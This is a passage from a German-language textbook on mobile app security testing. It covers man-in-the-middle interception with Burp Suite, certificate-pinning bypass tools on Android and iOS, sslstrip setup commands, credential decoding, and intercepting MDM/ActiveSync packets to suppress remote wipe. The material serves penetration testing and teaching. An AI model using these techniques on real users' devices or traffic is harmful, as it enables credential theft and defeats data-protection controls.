einer normalen HTTPS-Verbindung zwischen einer mobilen Applikation und einem<br />

Backend-Server. Der untere Bereich hingegen stellt die Verbindung bei einem<br />

erfolgreich durchgeführten MitM-Angriff dar.<br />

Da für diese Angriffe die Zertifikate ausgetauscht werden, die zur Authentifizierung<br />

des Backend-Servers und zur Verschlüsselung der Verbindung bestimmt<br />

sind, unterscheiden wir zwei Fälle: nicht vertrauenswürdige und vertrauenswürdige<br />

Zertifikate.


9.2 Man-in-the-Middle-Angriffe 201<br />

HTTPS-Anfrage<br />

HTTPS-Antwort<br />

HTTPS-Anfrage<br />

HTTPS-Antwort<br />

HTTPS-Anfrage<br />

HTTPS-Antwort<br />

Aufbrechen der<br />

HTTPS-Verschlüsselung<br />

Abb. 9–1: Schematische Darstellung eines Man-in-the-Middle-Angriffs<br />

9.2.1 Man-in-the-Middle-Angriff mit nicht vertrauenswürdigem<br />

Zertifikat<br />

Um den Netzwerkverkehr einer Applikation zu überwachen, benötigen wir nun<br />

noch einen Proxy, der sich in die Verbindung einklinkt und so alles mitschneiden<br />

kann. Hierfür verwenden wir Burp Suite1 . Tools wie mitmproxy2 oder<br />

Charles Proxy3 können hierfür ebenfalls verwendet werden und sind – im Fall<br />

von mitmproxy – sogar als kostenlose Open-Source-Varianten erhältlich. Die in<br />

den folgenden Abschnitten verwendete Burp Suite ist in Java geschrieben, daher<br />

benötigen wir keine Installation, ein einfacher Download und das nachfolgende<br />

Ausführen der JAR-Datei reicht völlig aus.<br />

Nach dem erfolgreichen Start der Burp Suite müssen wir das Programm nun<br />

so konfigurieren, dass es als Proxy fungiert und für das mobile Endgerät mit<br />

der zu testenden Applikation erreichbar ist. Dies gelingt uns am einfachsten über<br />

Proxy → Options → Proxy Listeners → Edit → Binding. Dort setzen wir den Haken<br />

bei All Interfaces (siehe Abbildung 9–2). Wenn bekannt ist, auf welchem<br />

Interface das Testgerät lauscht, kann hier auch die entsprechende IP-Range eingetragen<br />

werden, um nicht eventuell Datenverkehr von anderen Programmen oder<br />

Geräten mitzuschneiden.<br />

Als nächsten Schritt müssen wir nun das mobile Endgerät dazu bringen, dass<br />

es diesen Proxy auch verwendet. Dies erreichen wir, indem wir die IP und den<br />

Port des Proxy in die Verbindungseinstellungen des Endgerätes eintragen.<br />

■<br />

Android: Einstellungen → WLAN → lange auf das Lab-Wi-Fi klicken, bis ein<br />

Auswahlfenster erscheint → Netzwerk ändern → Haken setzen bei Erweiterte<br />

1 Burp Suite: https://portswigger.net/burp/<br />

2 mitmproxy: https://mitmproxy.org<br />

3 Charles Proxy: http://www.charlesproxy.com/


202 9 Angriffe auf die Datenübertragung<br />

Abb. 9–2: Einrichten des Proxy Listeners in der Burp Suite<br />

■<br />

■<br />

Optionen → den Proxy auf Manuell setzen und Port sowie IP des Analyserechners<br />

eintragen.<br />

iOS: Einstellungen → WLAN → auf das i○ in der Zeile des Lab-Wi-Fi klicken →<br />

den Proxy auf Manuell setzen und Port sowie IP des Analyserechners eintragen.<br />

Windows 10 <strong>Mobile</strong>: Einstellungen → WLAN → Verwalten → Lab-Wi-Fi → den<br />

Schieber bei Proxy auf Ein schalten → Port sowie IP des Analyserechners eintragen.<br />

Um nun zu testen, ob wir alles richtig eingerichtet haben, reicht es, im Browser<br />

des mobilen Endgerätes auf die Google-Startseite zu wechseln. In Abbildung 9–3<br />

ist dies exemplarisch mit einem Android-Emulator dargestellt.<br />

Sollte beim Versuch, die Google-Startseite aufzurufen, eine Warnung eingeblendet<br />

werden, die im Wesentlichen aussagt, dass dem Zertifikat von Google<br />

nicht vertraut wird und die Verbindung eventuell unsicher ist, so liegt das daran,<br />

dass Burp standardmäßig sogenannte Self-signed-Zertifikate verwendet, die keine<br />

Vertrauensbasis zu den auf dem Gerät installierten Root-Zertifikaten besitzt. Diese<br />

Meldung kann oft mit einem einfachen Klick auf Weiter übersprungen werden,<br />

würde bei einem realen Angriff aber vermutlich für erstes Misstrauen sorgen.<br />

Für uns als Sicherheitsanalysten sollte allerdings die Tatsache, dass eine zu<br />

testende Applikation keine Warnmeldung anzeigt, viel mehr Misstrauen hervorrufen,<br />

da dies ein Anzeichen dafür ist, dass die Applikation die Serverzertifikate<br />

nicht korrekt prüft. Dies ist im Bereich der Sicherheitsüberprüfung von mobilen<br />

Applikationen eine der gravierendsten Schwachstellen, da hierüber alle Nutzer


9.2 Man-in-the-Middle-Angriffe 203<br />

Abb. 9–3: Testen der Proxy-Einrichtung am Beispiel der Google-Startseite und eines<br />

Android-Emulators<br />

der Applikation betroffen sind und eine sichere Übertragung der Daten zwischen<br />

mobilem Endgerät und Backend-Server nicht mehr gewährleistet ist. Klassische<br />

Szenarien für solche Angriffe in der freien Wildbahn sind manipulierte WLAN-<br />

Netze, die unter Kontrolle eines Angreifers stehen (meist an öffentlichen Orten<br />

wie Cafés oder Flughäfen).<br />

Hat der Entwickler der Applikation alles richtig gemacht, so verweigert die<br />

Applikation die Kommunikation mit einem nicht vertrauenswürdigen Zertifikat,<br />

und unsere Aufzeichnung in der Burp Suite bleibt ohne sensible Daten aus der<br />

Applikation.<br />

9.2.2 Man-in-the-Middle-Angriff mit vertrauenswürdigem<br />

Zertifikat<br />

Um etwaige Fehlermeldungen bzw. Warnungen oder sogar das Verweigern einer<br />

Verbindung zu umgehen, ist es nötig, dass das Endgerät davon ausgeht, dass<br />

unser Burp-Suite-Zertifikat (das für die Verschlüsselung des Netzwerkverkehrs<br />

zwischen Endgerät und Proxy verwendet wird) ein gültiges und vertrauenswürdiges<br />

Zertifikat ist. Dies erreichen wir, indem wir das Burp-Suite-Root-Zertifikat in<br />

unseren Trusted Certificate Store importieren und so eine gültige Vertrauensbasis<br />

schaffen. Dazu müssen wir wie folgt vorgehen:<br />

1. Extrahieren des Root-Zertifikates aus der Burp Suite (Proxy → Options →<br />

Proxy Listeners → CA Certificate... → Export Certificate in DER format →<br />

Next → burp.cer), wie in Abbildung 9–4 gezeigt.<br />

2. Importieren des Root-Zertifikates in das mobile Endgerät.<br />

■<br />

Android: adb push burp.cer /sdcard/Downloads/ und danach auf dem<br />

Endgerät selbst Einstellungen → Sicherheit → Von Speicher installieren<br />

→ Downloads → burp.cer auswählen und für Wi-Fi importieren.


204 9 Angriffe auf die Datenübertragung<br />

Abb. 9–4: Export des SSL-Root-Zertifikats aus Burp<br />

■<br />

■<br />

iOS: Am einfachsten ist es, wenn wir uns das burp.cer-Zertifikat per<br />

E-Mail an das Testgerät senden. Dort können wir per Klick auf den<br />

E-Mail-Anhang das Zertifikat direkt installieren. Als Alternative können<br />

wir mittels Safari auf die URL http://burp/cert surfen und von dort das<br />

Zertifikat importieren.<br />

Windows 10 <strong>Mobile</strong>: Am einfachsten ist es auch hier, wenn wir wie bei<br />

iOS beschrieben vorgehen.<br />

3. Erneuter Test der Verbindung – diesmal sollten keine Warnungen mehr erscheinen.<br />

Für Entwickler von sensiblen Applikationen gibt es nur eine Möglichkeit, sich gegen<br />

einen solchen Angriff zu schützen: Certificate Pinning. Bei diesem Verfahren<br />

werden bestimmte Punkte in der Vertrauenskette des Zertifikats fest verankert,<br />

sodass selbst bei gültiger Kette zu einem vertrauenswürdigen Root-Zertifikat das<br />

verwendete Zertifikat abgelehnt wird. Wie man diese Schutzmechanismen umgeht,<br />

erfahren Sie im kommenden Abschnitt.<br />

9.2.3 Angriffe bei aktiviertem Certificate Pinning<br />

Die Königsdisziplin ist das Mitschneiden der verschlüsselten Kommunikation bei<br />

aktiviertem Certificate Pinning. Dies ist auf aktuellen Geräten nur möglich, wenn<br />

der Analyst oder Angreifer Root-Zugriff auf das mobile Endgerät erhält und in<br />

der Lage ist, weitere Werkzeuge zu installieren oder die Applikation zur Laufzeit<br />

zu manipulieren. Prinzipiell gibt es zwei Arten des Vorgehens, um das Certificate<br />

Pinning zu umgehen:


9.2 Man-in-the-Middle-Angriffe 205<br />

■<br />

■<br />

Die erste Variante ist sehr aufwendig und erfordert tiefes Verständnis des<br />

Betriebssystems sowie der verwendeten Programmiersprache bzw. eingebetteten<br />

Bibliotheken. Hier versucht der Analyst, sämtliche Stellen im Code der<br />

Applikation zu finden, in denen die SSL-Zertifikate geprüft werden. An diesen<br />

Stellen ändert er die Prüfung nun so ab, dass das manipulierte Zertifikat<br />

akzeptiert wird. Je nach Grad der Obfuskierung einer Applikation ist dies<br />

enorm zeitaufwendig.<br />

Der zweite Ansatz ist toolgestützt und wird im weiteren Verlauf des Abschnitts<br />

dargestellt. Hier übernimmt ein Tool die zuvor beschriebenen Aufgaben<br />

automatisiert durch sogenanntes API-Hooking. Problematisch ist hierbei<br />

jedoch, dass die Tools nur die API-Zugriffe überwachen und manipulieren<br />

können, die sie auch kennen. Verwendet eine Applikation also eigene Bibliotheken<br />

oder ändert sich etwas an den Systemschnittstellen, so kann es sein,<br />

dass diese Tools nicht mehr ordnungsgemäß funktionieren.<br />

Da dieses Vorgehen auf den verschiedenen mobilen Plattformen deutliche Unterschiede<br />

besitzt, werden wir die einzelnen Plattformen nachfolgend separat betrachten.<br />

Android<br />

Für unser Vorgehen benötigen wir hier erneut unser bereits in den vorherigen<br />

Kapiteln beschriebenes Werkzeug zur Laufzeitmanipulation von Applikationen:<br />

Cydia Substrate. In diesem Fall brauchen wir die Erweiterung Android-SSL-<br />

TrustKiller4 von iSEC Partners.<br />

Diese Erweiterung sorgt dafür, dass alle Methodenaufrufe einer Applikation,<br />

die für die Verifikation eines SSL-Zertifikates verantwortlich sind, den Wert TRUE<br />

zurückliefern, egal ob die Prüfung erfolgreich war oder nicht. Hierdurch ist es nun<br />

möglich, das Certificate Pinning zu umgehen und wieder, wie in Abschnitt 9.2.2<br />

gezeigt, die Verschlüsselung der Verbindung aufzubrechen. Auf unserem Testgerät<br />

gehen wir dazu wie folgt vor:<br />

1. Installation der Android-SSL-TrustKiller-Applikation per<br />

adb install Android-SSL-TrustKiller.apk<br />

2. Öffnen der Substrate-Applikation<br />

a. Link Substrate Files<br />

b. Restart System (Soft)<br />

3. Starten der Applikation, die wir analysieren möchten<br />

Nun sollten alle SSL-Verbindungen in der Burp Suite auftauchen und die Applikation<br />

ohne Fehlermeldungen oder Warnhinweise funktionieren. Wenn wir uns<br />

zeitgleich die Ausgaben von logcat anschauen, so sollten wir Hinweise wie die<br />

4 Android-SSL-TrustKiller: https://github.com/iSECPartners/Android-SSL-TrustKiller


206 9 Angriffe auf die Datenübertragung<br />

nachfolgend dargestellten sehen. Diese deuten auf ein erfolgreiches Hooking des<br />

SSL TrustKiller hin:<br />

I/CydiaSubstrate( 9999): MS:Notice: Loading:<br />

/data/app/com.android.SSLTrustKiller.apk<br />

I/SSLTrustKiller(11594): getTrustManagers() override<br />

I/SSLTrustKiller(11594): Hooking init in javax.net.ssl.SSLContext<br />

I/SSLTrustKiller(11594): init() override in javax.net.ssl.SSLContext<br />

I/SSLTrustKiller(11594): isSecure()<br />

called(org.apache.http.conn.ssl.SSLSocketFactory)<br />

I/SSLTrustKiller(11594): getTrustManagers() override<br />

Codebeispiel 9–1: Ausgabe von logcat mit Hinweisen auf aktive Android-SSL-TrustKiller-<br />

Erweiterung für Cydia Substrate<br />

Sollte der zuvor erwähnte Android-SSL-TrustKiller nicht zum erhofften Erfolg<br />

führen, so kann ein weiteres Werkzeug vom Team der iSEC Partners verwendet<br />

werden: Android-SSL-Bypass5 .<br />

iOS<br />

Für Apples iOS haben wir mehrere Tools zur Auswahl, die uns bei dieser Aufgabe<br />

unterstützen können. Beginnen wollen wir mit Snoop-it, das bereits in Abschnitt<br />

6.1.2 ausführlich beschrieben wurde.<br />

Snoop-it funktioniert im Wesentlichen identisch zu dem unter Android beschriebenen<br />

Modul SSL-TrustKiller. Es sucht nach API-Aufrufen, deren Zweck<br />

das Überprüfen von SSL-Zertifikaten ist. Findet es zur Laufzeit einen solchen Aufruf,<br />

modifiziert es die Ergebnisse des Aufrufs so, dass jedes Zertifikat als gültig<br />

anerkannt wird und die Applikation die Kommunikation fortsetzt.<br />

Das Vorgehen für den Analysten ist hierbei sehr einfach gehalten: Er muss lediglich<br />

den entsprechenden Schieber in den Einstellungen von Snoop-it aktivieren<br />

(siehe Abbildung 9–5).<br />

Eine weitere Möglichkeit, das Certificate Pinning zu unterbinden, bietet die<br />

Lösung iOS-SSL-Kill-Switch6 von iSEC Partners. SSL-Kill-Switch modifiziert die<br />

Low-Level-SSL-Funktionen innerhalb der Secure Transport API. Darunter befinden<br />

sich z. B. die Aufrufe von SSLSetSessionOption() und SSLHandshake(). Wie<br />

auch bei Snoop-it schafft es die Lösung, die Prüfung der SSL-Zertifikate so zu<br />

verändern, dass alle Zertifikate als gültig zurückgegeben werden. Um dieses Tool<br />

auf unserem Testgerät zu installieren, gehen wir wie folgt vor:<br />

5 Android-SSL-Bypass: https://github.com/iSECPartners/android-ssl-bypass<br />

6 iOS-SSL-Kill-Switch: https://github.com/iSECPartners/ios-ssl-kill-switch


9.2 Man-in-the-Middle-Angriffe 207<br />

Abb. 9–5: Deaktivieren von SSL Certificate Pinning via Snoop-it<br />

1. Übertragen der iOS-SSL-Kill-Switch-Applikation per<br />

scp com.isecpartners.nabla.sslkillswitch.deb root@:/<br />

2. Nun verbinden wir uns per SSH auf das Testgerät.<br />

3. Dort installieren wir die iOS-SSL-Kill-Switch-Applikation per<br />

dpkg -i com.isecpartners.nabla.sslkillswitch.deb<br />

4. Nun müssen wir noch das SpringBoard neu starten, damit die Änderungen<br />

auch sichtbar werden:<br />

killall -HUP SpringBoard<br />

5. Im Anschluss deaktivieren wir das SSL Certificate Pinning, wie in Abbildung<br />

9–6 gezeigt.<br />

Seit einiger Zeit gibt es auch eine Version 27 des hier gezeigten iOS-SSL-Kill-<br />

Switch, die in manchen Fällen bessere Ergebnisse liefert.<br />

Die dritte Möglichkeit, das Certificate Pinning zu unterbinden, bietet die Lösung<br />

TrustMe8 von der Intrepidus Group. Diese Lösung deaktiviert die SecTrust-<br />

Evaluate-Methode, wodurch alle Zertifikate als gültig anerkannt werden.<br />

7 SSL-Kill-Switch 2: https://github.com/nabla-c0d3/ssl-kill-switch2<br />

8 TrustMe: https://github.com/intrepidusgroup/trustme


208 9 Angriffe auf die Datenübertragung<br />

Abb. 9–6: Deaktivieren von SSL Certificate Pinning via iOS-SSL-Kill-Switch<br />

Problematik: 64-Bit-Systeme<br />

Zum aktuellen Zeitpunkt haben beide der vorgestellten Lösungen ein Problem mit<br />

Betriebssystemen, die auf 64 Bit beruhen (z. B. iOS 8.x und 9.x). Daher bleibt bei<br />

neueren iOS-Versionen oft nur das manuelle Suchen und Manipulieren der API-<br />

Aufrufe übrig – zumindest so lange, bis Updates der Tools bereitgestellt werden. Ein<br />

Versuch ist es meist aber trotzdem wert.<br />

Windows 10 <strong>Mobile</strong><br />

Für Windows 10 <strong>Mobile</strong> sind zum aktuellen Zeitpunkt leider keine Tools und<br />

Wege bekannt, das Certificate Pinning einer Applikation zu umgehen, außer der<br />

Verwendung eines Debuggers und dem manuellen Anpassen der entsprechenden<br />

Abfragen zur Laufzeit der Applikation.


9.3 SSL-Strip-Angriffe 209<br />

9.3 SSL-Strip-Angriffe<br />

Der SSL-Strip-Angriff – oder auch SSL-Downgrade-Angriff genannt – ist im Wesentlichen<br />

auch ein klassischer Man-in-the-Middle-Angriff. Das Spezielle an dem<br />

SSL-Strip-Angriff ist, dass der Analyst mithilfe von speziellen Tools die mobile<br />

Applikation dazu bringt, nicht die gewünschte verschlüsselte Verbindung aufzubauen,<br />

sondern auf eine unverschlüsselte Verbindung zurückzugreifen.<br />

Dazu entwickelte der Softwareexperte Moxie Marlinspike einen Proxy namens<br />

sslstrip9 . Dieser Proxy durchsucht automatisiert die angefragten Webseiten<br />

nach eingebetteten https://-Links und ersetzt diese durch gleichlautende http://-<br />

Links. Sollte die Applikation direkt versuchen, eine HTTPS-Webseite aufzurufen,<br />

so biegt auch hier das Tool die Anfrage zu einer unverschlüsselten HTTP-<br />

Webseite um (siehe Abbildung 9–7).<br />

HTTPS-Anfrage<br />

HTTP-Anfrage<br />

HTTP-Antwort<br />

HTTP-Anfrage<br />

HTTP-Antwort<br />

Umbiegen der<br />

HTTPS-Verbindung<br />

Abb. 9–7: Schematische Darstellung eines SSL-Strip-Angriffs<br />

Gelingt dieser Angriff, so erhält der Analyst Zugriff auf alle Informationen<br />

aus der eigentlich verschlüsselten Verbindung. Darunter befinden sich sehr häufig<br />

Passwörter oder andere sensible Nutzer- bzw. Applikationsdaten. Im Unterschied<br />

zu den in den vorherigen Abschnitten dieses Kapitels beschriebenen Angriffen<br />

tauchen hier beim Benutzer meist keine Warnhinweise auf.<br />

Diese Art des Angriffs war in den Jahren 2012 bis 2014 sehr verbreitet und<br />

gerade auch bei mobilen Applikationen sehr oft erfolgreich. In den vergangenen<br />

Jahren hat man jedoch eine Veränderung des Bewusstseins der Entwickler festgestellt<br />

und so sind heutzutage nur noch sehr wenige Applikationen für diesen<br />

Angriff anfällig. Trotz dieser Tatsache sollte der SSL-Strip-Angriff bei jedem Assessment<br />

einer mobilen Lösung berücksichtigt und getestet werden. Um diesen<br />

Angriff durchzuführen, gehen wir wie folgt vor:<br />

1. Als ersten Schritt müssen wir die IP-Weiterleitung aktivieren:<br />

■<br />

■<br />

■<br />

sudo sysctl -w net.inet.ip.forwarding=1<br />

sudo sysctl -w net.inet.ip.fw.enable=1<br />

sudo sysctl -w net.inet.ip.fw.verbose=1<br />

9 sslstrip: https://github.com/moxie0/sslstrip


210 9 Angriffe auf die Datenübertragung<br />

2. Im nächsten Schritt konfigurieren und aktivieren wir den Paketfilter wie folgt:<br />

■<br />

■<br />

■<br />

Wir erstellen eine Datei namens /etc/pfsslstrip.conf.<br />

In diese Datei fügen wir folgenden Inhalt ein:<br />

rdr pass on en1 proto tcp from any to any port 80<br />

-> 127.0.0.1 port 8080.<br />

Nun aktivieren wir den Filter mithilfe des Befehls:<br />

sudo pfctl -e -f pfsslstrip.conf.<br />

3. Im Anschluss daran starten wir sslstrip per Eingabe von:<br />

python sslstrip.py -l 8080 -w ./sslstrip.log.<br />

4. Als weiteren Schritt müssen wir nun noch den Proxy auf dem mobilen Endgerät<br />

auf die IP-Adresse des Analyserechners und Port 8080 setzen.<br />

5. Zu guter Letzt starten wir die Applikation, die wir untersuchen wollen, und<br />

füttern sie mit Daten bzw. interagieren wie gewohnt mit ihr.<br />

Die Datei sslstrip.log enthält nun alle aufgezeichneten Pakete und somit auch<br />

sämtliche sensible Nutzerdaten aus der mobilen Applikation.<br />

Nachdem wir nun wissen, wie man die Verschlüsselung der Datenübertragung<br />

aufbrechen kann, werden wir in Abschnitt 9.4 uns anschauen, wie man die<br />

so mitgeschnittenen Daten auswertet und welche Informationen man darin finden<br />

kann.<br />

9.4 Anwendungsbeispiele und Auswertung<br />

Nachdem wir in den ersten Abschnitten gesehen haben, wie man sich in die verschlüsselte<br />

Verbindung von mobilen Applikationen einklinken kann, werden wir<br />

uns nun an ein paar Beispielen anschauen, wie man die aufgezeichneten Daten<br />

analysieren kann. In Abschnitt 9.4.2 lernen wir noch eine sehr nützliche Funktion<br />

von vielen MitM-Proxies kennen – die Möglichkeit, Daten zu manipulieren,<br />

bevor sie an das Backend bzw. das mobile Endgerät gesendet werden. In diesem<br />

Schritt lassen sich oft schon wichtige Änderungen vornehmen, die das weitere<br />

Analysieren der Applikation deutlich erleichtern.<br />

9.4.1 Parameter in Paketen decodieren<br />

Bei fast allen gängigen Applikationen ist es so, dass die Daten nicht im Klartext<br />

an den Backend-Server gesendet werden, sondern in einer codierten Form.<br />

Dies liegt meist daran, dass die APIs im Hintergrund sensibel auf Änderungen in<br />

dem empfangenen Zeichensatz oder auf bestimmte Zeichen reagieren. In vielen<br />

Fällen werden die Nutzerdaten in Base64 umgewandelt oder URL-codiert. Ein<br />

klassisches Beispiel hierfür sind E-Mail-Applikationen, wie wir sie im Folgenden<br />

ebenfalls betrachten werden.


9.4 Anwendungsbeispiele und Auswertung 211<br />

In Abbildung 9–8 sehen wir den Verlauf unserer Proxy-Aufzeichnung. Speziell<br />

von Interesse sind für uns hier Aufrufe vom Typ POST und die URL Microsoft-<br />

Server-ActiveSync. POST ist immer ein guter Hinweis auf Daten, die das Mobiltelefon<br />

verlassen, und somit natürlich von hohem Interesse, da sich hierunter<br />

sehr häufig Nutzernamen und Passwörter befinden, aber auch andere persönliche<br />

Nutzerdaten. In diesem Beispiel macht es uns die URL sehr leicht, da wir an ihr<br />

schon erkennen, dass es sich um eine Kommunikation mit einem vermeintlichen<br />

ActiveSync-Gateway handelt.<br />

Abb. 9–8: Proxy-Aufzeichnung der Burp Suite<br />

Betrachten wir den unteren Teil der Ausgabe, so sehen wir in der ersten Zeile die<br />

URL, die von der Applikation kontaktiert wird, zusammen mit einem codierten<br />

POST-Parameter. Dies könnte bereits der erste interessante Wert sein, der uns im<br />

Laufe späterer Analysen weiterhelfen kann. Hierzu verwenden wir die Funktion<br />

von Burp Suite, diesen Parameter an den Decoder zu senden und dort auszuwerten<br />

(wie in Abbildung 9–9 gezeigt).<br />

Wie wir an diesem Ergebnis erkennen, war der codierte Parameter nur wenig<br />

hilfreich. Wir haben aber noch eine weitere Chance: Authorization. Dieser Wert<br />

verspricht schon dem Namen nach interessante Inhalte. Auch hier senden wir<br />

den codierten Parameter an den Decoder. Das Ergebnis zeigt die Nutzerdaten<br />

zum Abrufen der E-Mails: Domäne, Nutzername und Passwort. In unserem Fall:<br />

ww047\user01:passw0rd!


212 9 Angriffe auf die Datenübertragung<br />

Abb. 9–9: Burp-Suite-Decoder-Funktionalität<br />

9.4.2 Pakete abfangen und manipulieren<br />

Nachdem wir nun an einem einfachen Beispiel gesehen haben, wie hilfreich das<br />

Decodieren von einzelnen Parametern aus dem Netzwerkverkehr sein kann, wird<br />

in diesem Abschnitt gezeigt, dass es sehr oft auch von Vorteil für unser Assessment<br />

sein kann, wenn wir bestimmte Pakete blockieren oder manipulieren, bevor<br />

sie weiterverarbeitet werden.<br />

Das erste Beispiel zeigt, wieso es hilfreich sein kann, Daten zu manipulieren.<br />

In diesem Fall verwenden wir eine Android-Applikation, die zur PIM-<br />

Synchronisation im Unternehmen eingesetzt werden kann. Beim Einrichten der<br />

Applikation, aber auch nach gewissen Zeitabständen, versucht die Applikation,<br />

die Sicherheitsrichtlinien vom Exchange-Server der Firma zu aktualisieren.<br />

Je nach gesetzten Einstellungen können diese ein Assessment erschweren. Daher<br />

ist es praktisch, wenn wir ein solches Paket abfangen und manipulieren können.<br />

Abbildung 9–10 zeigt einen Ausschnitt eines solchen Paketes.<br />

Abb. 9–10: Burp-Suite-Interception-Funktionalität


9.5 Zusammenfassung 213<br />

Hier können wir z. B. den Timeout der S/MIME-PIN verändern, sodass es<br />

diesen Timeout nicht mehr gibt und somit die PIN-Abfrage für das eingefügte<br />

S/MIME-Zertifikat hinfällig wird und wir an alle verschlüsselten E-Mails kommen,<br />

ohne die PIN des Nutzers zu kennen. Des Weiteren können wir in diesen<br />

Richtlinien auch noch die Möglichkeit einer Fernlöschung deaktivieren, was einem<br />

Angreifer deutlich mehr Zeit verschaffen würde. Was man bei solchen Richtlinien<br />

ebenfalls sehr häufig findet, sind Einstellungen bezüglich einer Jailbreak-<br />

Erkennung, also ob die Applikation auf potenziell gerootete Geräte reagiert oder<br />

nicht. Gerade solche Einstellungen können bei einem Assessment oder einem Angriff<br />

enorm hilfreich sein, da man sich als Analyst die Arbeit spart, diese Detektionstechniken<br />

manuell zu finden und zu umgehen.<br />

Genauso wichtig wie das Verändern von Anfragen kann aber auch das Abfangen<br />

und Blockieren von solchen Nachrichten sein. Gerade Applikationen, die sich<br />

mit ActiveSync-Servern verbinden – aber auch z. B. <strong>Mobile</strong> Device Management<br />

(MDM)-Applikationen –, empfangen häufig per HTTPS die Aufforderung, den<br />

Container oder das ganze Endgerät zu löschen. Können wir eine solche Nachricht<br />

in unserem Proxy im Intercept-Modus abfangen, so haben wir auch die<br />

Möglichkeit, dieses Paket per Drop einfach wegzuwerfen, sodass das Endgerät<br />

die Nachricht nie erhält und somit auch keine Daten löschen kann. Aus diesem<br />

Grund ist es sehr wichtig, dass man während einer Analyse einer Applikation das<br />

Endgerät konstant an den Proxy angeschlossen hat und die Pakete überwacht.<br />

9.5 Zusammenfassung<br />

In diesem Kapitel haben wir gesehen, warum es hilfreich sein kann, die Verbindung<br />

zwischen einem mobilen Endgerät bzw. der Applikation und den Backend-<br />

Servern zu überwachen. Dies haben wir durch Man-in-the-Middle-Angriffe auf<br />

die verschlüsselte Verbindung realisiert. Dazu haben wir das Gerät an einen Proxy<br />

angeschlossen und gezeigt, wie man Zertifikatsbeschränkungen umgehen und sogar<br />

Certificate Pinning auf den einzelnen Plattformen deaktivieren kann.<br />

Im letzten Abschnitt sind wir noch auf hilfreiche Erweiterungen der Burp<br />

Suite eingegangen – Decoder und Intercept – und haben sie uns anhand realer<br />

Applikationen angeschaut.<br />

So konnten wir mithilfe der im Rahmen dieses Kapitels gezeigten Techniken<br />

Sicherheitsrichtlinien für Applikationen ändern oder wichtige Befehle des<br />

Backend-Servers abfangen und eine Ausführung verhindern.


215<br />

10 Wie geht die Reise weiter?<br />

Dieses Buch sollte Ihnen dabei helfen, eine erste Einführung in des Testen und<br />

Analysieren von mobilen Applikationen zu bekommen und auf kritische Funktionen<br />

der einzelnen Betriebssysteme aufmerksam zu werden. Dabei haben wir uns<br />

eine ganze Reihe an Tools und Techniken angesehen, deren Aufzählung jedoch<br />

keinesfalls vollständig ist. Die Welt der mobilen Applikationen ändert sich ständig<br />

und damit auch die Techniken, um diese Apps zu untersuchen. Aus diesem<br />

Grund soll das letzte Kapitel dazu genutzt werden, Ihnen noch ein paar hilfreiche<br />

weitere Tools und Quellen für Informationen zu zeigen und natürlich auch etwas<br />

Übungsmaterial zur Verfügung zu stellen, um das gezeigte Wissen aus diesem<br />

Buch praktisch anwenden zu können.<br />

10.1 Weitere Tools<br />

Im Verlauf dieses Buches haben wir gemeinsam eine ganze Reihe an Werkzeugen<br />

kennengelernt, die das Analysieren oder Reversing der einzelnen Applikationen<br />

– teilweise oder auch komplett – übernommen haben. Diese Werkzeuge sind<br />

aber nicht die einzigen Möglichkeiten, wie man die gezeigten Schritte durchführen<br />

kann. Darum sind im Folgenden noch weitere interessante und hilfreiche Tools<br />

aufgelistet, die einen Blick wert sind und an vielen Stellen weiterhelfen können.<br />

10.1.1 Android<br />

Zu den bereits in den entsprechenden Kapiteln vorgestellten Tools gibt es für<br />

Android noch eine Menge weiterer interessanter Werkzeuge, die für die Analyse<br />

von Applikationen verwendet werden können. Eine Auswahl an hilfreichen<br />

Werkzeugen, die man sich als Analyst anschauen sollte, sobald man mit den hier<br />

erwähnten Tools nicht mehr weiterkommt, zeigt Tabelle 10–1.<br />

Weitere Tools und Werkzeuge sind auf der folgenden Webseite aufgelistet<br />

und werden dort auch regelmäßig ergänzt: https://github.com/ashishb/<br />

android-security-awesome.


216 10 Wie geht die Reise weiter?<br />

Name<br />

Andriller<br />

apk-tool<br />

APKinspector<br />

frida<br />

Fridump<br />

NowSecure Lab<br />

Quick Android<br />

Review Kit<br />

(QARK)<br />

Simplify<br />

Sublime Text<br />

Beschreibung<br />

Ein gutes Forensik-Werkzeug im Bereich Android, das viele der hier im<br />

Buch gezeigten Schritte automatisiert.<br />

Gutes Werkzeug, wenn man die APK-Dateien manipulieren möchte,<br />

bevor man sie auf einem Testgerät ausführt. Ähnlich wie baksmali<br />

bzw. smali ist es in der Lage, wieder eine lauffähige Applikation zu<br />

erzeugen, nachdem der Analyst den Code verändert hat.<br />

Ein Werkzeug, das sehr ähnlich zu Codeinspect ist, jedoch nicht die<br />

Fähigkeit der Laufzeitmanipulation bietet.<br />

Ein sehr mächtiges Tool zur Laufzeitmanipulation von iOS- und<br />

Android-Applikationen (für iOS-Applikationen siehe Abschnitt 6.1.4).<br />

Ein neues Tool zum Auslesen des RAM von Android- und iOS-Endgeräten,<br />

das einen sehr guten ersten Eindruck hinterlassen hat. Zu finden<br />

ist es unter: http://pentestcorner.com/introduction-to-fridump/.<br />

Ein kommerzielles Werkzeug, das iOS- und Android-Applikationen<br />

automatisiert analysiert, aber auch das manuelle Reversing<br />

unterstützt.<br />

Ein Toolkit, das in der Lage ist, sehr viele Schwachstellen in<br />

Android-Applikationen automatisiert zu erkennen.<br />

Auch bekannt unter dem Namen Generic Android Deobfuscator. Ein<br />

nettes Tool, das durch Ausführen der Applikation in der Lage ist,<br />

einen deobfuskierten Quellcode zu erstellen. Kann hilfreich sein,<br />

wenn die Applikation stark obfuskiert ist oder man als Analyst mit<br />

den Ausgaben der hier gezeigten Tools nicht weiterkommt.<br />

Bietet dank Androguard-Modul die Möglichkeit, Android-<br />

Applikationen ohne Kenntnis der Androguard-Befehle zu analysieren.<br />

Kann gerade für Anfänger auf diesem Gebiet sehr hilfreich sein.<br />

Tab. 10–1: Liste weiterer Tools für das Reversing und die Suche nach Schwachstellen in<br />

Android-Applikationen<br />

10.1.2 iOS<br />

Wie auch schon bei Android gibt es auch für iOS noch eine Menge weiterer Tools,<br />

die für die Analyse von Applikationen verwendet werden können. Eine – mit<br />

Sicherheit nicht vollständige – Übersicht zeigt Tabelle 10–2.


10.2 Wo kann ich üben? 217<br />

Name<br />

Introspy<br />

iRet<br />

Fridump<br />

NowSecure Lab<br />

radare2<br />

Reveal<br />

Beschreibung<br />

Analysiert iOS-Applikationen ähnlich wie auch idb oder Snoop-it.<br />

Übernimmt viele der in diesem Buch gezeigten Aufgaben<br />

automatisiert. Gerade für Anfänger könnte dies ein interessantes<br />

Werkzeug sein.<br />

Ein neues Tool zum Auslesen des RAM von Android- und iOS-<br />

Endgeräten, das einen sehr guten ersten Eindruck hinterlassen hat.<br />

